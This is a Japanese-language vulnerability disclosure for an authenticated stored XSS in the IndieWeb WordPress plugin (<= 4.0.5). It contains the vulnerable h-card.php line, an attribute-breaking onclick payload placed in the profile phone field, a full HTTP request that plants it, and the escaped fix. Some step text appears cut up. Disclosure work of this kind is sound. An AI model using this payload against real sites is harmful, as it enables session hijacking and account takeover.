
IndieWeb WordPressプラグインにおける認証済み保存型クロスサイトスクリプティング (XSS)
免責事項: このリポジトリは教育目的および倫理的な開示のために作成されています。本脆弱性は責任を持ってベンダーに報告され、パッチが適用されています。適切な許可なく、この情報をシステムの悪用に使用しないでください。
格納型クロスサイトスクリプティング(XSS) の脆弱性が、WordPress用IndieWebプラグイン(バージョン <= 4.0.5)で発見されました。この脆弱性により、著者(Author) 権限以上の認証済み攻撃者が、自身のユーザープロフィールの「電話番号」フィールドに悪意のあるJavaScriptを注入できます。
「著者プロフィールHカードウィジェット」がフロントエンドに表示されると、適切なサニタイズが行われずに注入されたスクリプトがレンダリングされます。管理者(Administrator)などの高い権限を持つユーザーが操作されたリンクをクリックすると、スクリプトがそのブラウザコンテキストで実行されます。これにより、セッションハイジャック、権限のない管理操作、完全なアカウント乗っ取り(ATO)につながる可能性があります。
<= 4.0.5問題の核心は、プラグインのテンプレーティングシステムにおけるユーザーメタデータの安全でない処理、具体的にはWordPressの組み込みエスケープ関数を使用していない点にあります。
脆弱性ファイル: templates/h-card.php(27行目)
<a class="p-tel tel" href="tel:<?php echo $user->get( 'tel' ); ?>"><?php echo $user->get( 'tel' ); ?></a>
欠陥:
プラグインは、ユーザーのtelメタデータをesc_attr()でラップせずにechoを使用してHTML属性href内に直接出力しています。これにより、攻撃者はダブルクォート(")を含む細工された文字列を提供することでhref属性を早期に閉じ、任意のHTML属性(styleやonclickなど)を続けて挿入できます。
<= 4.0.5 が有効化されていること。/wp-admin/profile.php)に移動します。href属性から抜け出すもの)を注入します:
Click_Me" style="background:#ff4444; color:white; padding:5px; display:inline-block;" onclick="alert(document.cookie);
is_single())でのみレンダリングされます。POST /wp-admin/profile.php HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Cookie: [Author_Session_Cookies]
_wpnonce=[valid_nonce]&_wp_http_referer=%2Fwp-admin%2Fprofile.php&from=profile&checkuser_id=2&color-nonce=[nonce]&admin_color=fresh&admin_bar_front=1&first_name=&last_name=&nickname=attacker&display_name=attacker&email=attacker%40example.com&tel=Click_Me"%20style%3D"background%3A%23ff4444%3B%20color%3Awhite%3B%20padding%3A5px%3B%20display%3Ainline-block%3B"%20onclick%3D"alert(document.cookie)%3B&action=update&user_id=2&submit=Update+Profile
この脆弱性を修正するには、プラグイン開発者はWordPressのesc_attr()およびesc_html()関数を使用して出力を適切にエスケープする必要があります。
修正後のコード例:
<a class="p-tel tel" href="tel:<?php echo esc_attr( $user->get( 'tel' ) ); ?>"><?php echo esc_html( $user->get( 'tel' ) ); ?></a>